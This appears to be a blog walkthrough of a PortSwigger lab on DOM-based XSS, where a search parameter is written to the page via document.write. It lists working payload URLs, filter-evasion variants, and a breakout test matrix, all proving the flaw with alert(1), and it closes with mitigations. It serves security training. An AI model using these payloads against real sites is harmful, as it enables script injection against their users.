Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

DOM XSS in document.write sink using source

DOM XSS in document.write sink using source: Exploit a DOM-based cross-site scripting (XSS) vulnerability caused by the app writing location.search directly to the page using document.write, and trigger alert(1). • PortSwigger • DOM-XSS, XSS • dom-xss, xss

2022-09-132 tags
Tags

🎯 Objective

Exploit a DOM-based cross-site scripting (XSS) vulnerability caused by the app writing location.search directly to the page using document.write, and trigger alert(1).


🧭 Target & Context

  • Lab type: DOM-based XSS (source: location.search → sink: document.write)
  • Target URL (example):
    • https://0af9007c03d7ecebc1f726b7001f0052.web-security-academy.net/
  • Vulnerable behavior: The page reads the search query from the URL and writes it into the DOM without sanitization or proper context handling.

🧩 Root Cause

The client-side code (simplified example) does something like:

javascript
// Pseudo-code reconstruction
const q = new URLSearchParams(location.search).get('search') || '';
document.write('<p>Results for: ' + q + '</p>');

document.write injects untrusted data as HTML, so a crafted query string can break out of the intended context and introduce executable markup (e.g., a <script> tag or an SVG with an event handler).


✅ Exploitation — Working Payloads

Tip: Use URL-encoding for reliability when pasting in the address bar.

1) Minimal working example (as observed)

Open:

text
https://0af9007c03d7ecebc1f726b7001f0052.web-security-academy.net/?search=ko%22%3Ealert(1)

This breaks out of the attribute/text context and executes alert(1).

2) Classic DOM XSS payloads

SVG onload (widely reliable):

text
?search=%22%3E%3Csvg/onload%3Dalert(1)%3E

Script tag (if not filtered):

text
?search=%22%3E%3Cscript%3Ealert(1)%3C/script%3E

IMG onerror (fallback):

text
?search=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E

Why these work: the injected "> closes the current context, then a new tag with a JS event handler (or <script>) is inserted, which the browser executes immediately after document.write flushes the HTML to the document.


🔬 Reproduction Steps (Clean & Repeatable)

  1. Navigate to the lab’s base URL.
  2. Append one of the encoded payloads to the ?search= parameter (see above).
  3. Load the page and observe a JavaScript dialog alert(1) (XSS confirmed).

🖼️ Evidence (Screenshots)

  • Discovery:
    • https://0af9007c03d7ecebc1f726b7001f0052.web-security-academy.net/?search=%22%3E
    • Breakout test
  • Working payload:
    • ?search=ko%22%3Ealert(1)
    • Payload URL
  • Executed alert:
    • Alert fired

🧠 Why It Works (DOM Flow)

  • Source: location.search (fully attacker-controlled)
  • Sink: document.write() (HTML injection sink)
  • Context: The input is inserted directly into HTML without escaping → attacker closes the surrounding context and injects a new executable element.

You can confirm the flow by searching the page scripts for location.search, document.write, or inspecting script sources via DevTools (Ctrl/Cmd+Shift+F).


🧪 Variants to Try

  • Encode with HTML entities to dodge fragile filters: &quot;, &#34;, &#x22;
  • Swap payloads:
    • "><svg/onload=print()>
    • "><details/open ontoggle=alert(1)> (no onload needed)
    • "><iframe srcdoc='<script>alert(1)</script>'>
  • If the app tries to stringify JSON before writing, break with "]><svg/onload=alert(1)>

🔐 Mitigations

  1. Never use document.write for untrusted data. Prefer safe DOM APIs:
    javascript
    const node = document.createTextNode(q);
    targetElement.appendChild(node);
    // or
    targetElement.textContent = q;
  2. Context-appropriate encoding:
    • HTML text nodes → HTML-escape (< > & " ' )
    • HTML attributes → additionally escape quotes
    • URL/JS/CSS contexts → use appropriate encoders
  3. DOMPurify (allowlist sanitizer) if HTML rendering is required.
  4. CSP (Content Security Policy) as a defense-in-depth layer (e.g., disallow unsafe-inline, restrict sources).

⛏️ Appendix — Quick Test Matrix

Context hint in DOMTry firstFallbacks
Plain text/attribute"><svg/onload=alert(1)>"><img src=x onerror=alert(1)>
Likely script injection');alert(1);//"-alert(1)-"
JSON-ish"]><svg/onload=alert(1)>"};alert(1);//

📌 Notes

  • alert(1) is used for harmless proof-of-concept. Replace with print() if the lab requires it.
  • DOM-based XSS doesn’t require a server response change; the vulnerability is entirely in the client-side JavaScript flow.

✅ Conclusion

The lab is solved by injecting an encoded payload into ?search=... that breaks context and executes JavaScript when the app writes location.search to the document using document.write.

Working example:

text
https://0af9007c03d7ecebc1f726b7001f0052.web-security-academy.net/?search=%22%3E%3Csvg/onload%3Dalert(1)%3E
Navigate

In this post

  1. 01🎯 Objective
  2. 02🧭 Target & Context
  3. 03🧩 Root Cause
  4. 04✅ Exploitation — Working Payloads
  5. 051) Minimal working example (as observed)
  6. 062) Classic DOM XSS payloads
  7. 07🔬 Reproduction Steps (Clean & Repeatable)
  8. 08🖼️ Evidence (Screenshots)
  9. 09🧠 Why It Works (DOM Flow)
  10. 10🧪 Variants to Try
  11. 11🔐 Mitigations
  12. 12⛏️ Appendix — Quick Test Matrix
  13. 13📌 Notes
  14. 14✅ Conclusion
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.